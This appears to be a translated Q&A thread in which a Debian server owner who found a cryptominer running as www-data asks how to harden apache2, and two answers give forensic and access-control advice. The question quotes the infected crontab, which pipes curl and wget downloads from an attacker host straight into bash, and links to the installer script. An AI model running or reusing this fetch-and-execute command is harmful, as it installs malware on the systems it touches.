如何在 Debian 上保护/强化 apache2?

如何在 Debian 上保护/强化 apache2?

最近,我通过使用 htop 命令找出占用整个资源(CPU 和内存)的内容,在我的 Debian 10 服务器中发现了挖矿程序。显然所有恶意进程都在 www-data 用户下运行。我杀死了这些进程并清空了用户 www-data crontab。目前为止还没有回来,但我想它会回来的。现在我需要有关保护/强化 apache2 的帮助,因为我认为矿工是通过 apache2 安装的,因为这些进程在用户 www-data 下运行。

用户 www-data crontab 有以下内容:

root@***:/var/www# cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/tmp.eK8YZtGlIC/.sync.log installed on Mon Feb 15 23:27:41 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
@reboot curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash

在 www-data 下运行的矿工进程

在 www-data 下运行的矿工进程

http://repo1.riticalnumeric.tech/scripts/cnc/install内容:https://pastebin.com/Q049ZZtW

所以我所做的是:

touch /etc/cron.allow

并且仅在该文件中列出“root”,因此非 root 用户将无法添加任何 cron 作业。

但我认为这还不够......矿工如何能够将作业添加到用户 www-data crontab 中?

所以,我认为矿工能够在 /var/www/site 中编写/执行恶意脚本

/var/www 属于 root:root

但是 /var/www/site 、 /var/www/site2 等由 www-data:www-data 所有 - 所以 Laravel 等可以作为 Web 服务器能够读取/写入/执行文件/目录。

我注意到:

文件权限

网页内容

由于历史原因,Apache 以名为 www-data 的用户运行。这有点误导,因为通常情况下,?DocumentRoot (/var/www) 中的文件不应由该用户拥有或写入。要查找具有错误权限的文件...

https://wiki.debian.org/Apache/Hardening

我是否正确理解 /var/www/site、/var/www/site2 等不应属于 www-data:www-data?

保护/强化 apache2 的推荐方法是什么?

当 Web 文件不属于 www-data:www-data 时,Laravel 等将无法工作,因为 Web 服务器无法读取/归档/执行 Web 文件...

答案1

没有简单的答案。

您的首要任务应该是找出哪个软件实际上允许这样做,因为到目前为止您还没有关闭攻击者的访问方式,只是阻止他们安装 crontab。您知道它很可能是一个 Web 应用程序,但您不知道是哪一个。

当我调查此类事情时,我首先尝试将文件修改时间与可疑的 Web 访问日志条目关联起来。尽管请注意,聪明的攻击者可以掩盖他们的行为并更改文件的修改时间,但大多数人都不会打扰。

一旦您确定了哪个 Web 应用程序受到了损害,您就需要找出是如何受到损害的。例如,是否是因为发现了已知的安全问题而您没有及时升级?

最后,考虑使用某种形式强制访问控制喜欢应用装甲或者SELinux限制 Web 服务器可以执行的操作、可以访问文件系统的哪些部分等。如果它无法在需要的地方写入文件或执行通常不需要执行的二进制文件,那么这可以使其成功对攻击者来说要困难得多,并有助于保护您免受以前未知的(“零日”)攻击。在 systemd 单元文件中还可以做很多事情来限制服务的权限。

答案2

我的猜测(这只是猜测)是这是一次随机 ssh 攻击。机器人经常尝试使用通用用户名和密码字典登录随机 IP 地址。我猜这是因为开销较大的进程是sshd,通用用户名是www-data

有几种方法可以解决这个问题:

  • 禁止www-data登录(通常是系统用户,所以通常不需要给它一个shell)。
  • 加强www-data的密码。
  • 配置sshd为仅接受密钥而不接受密码并确保authorized_keys干净。

相关内容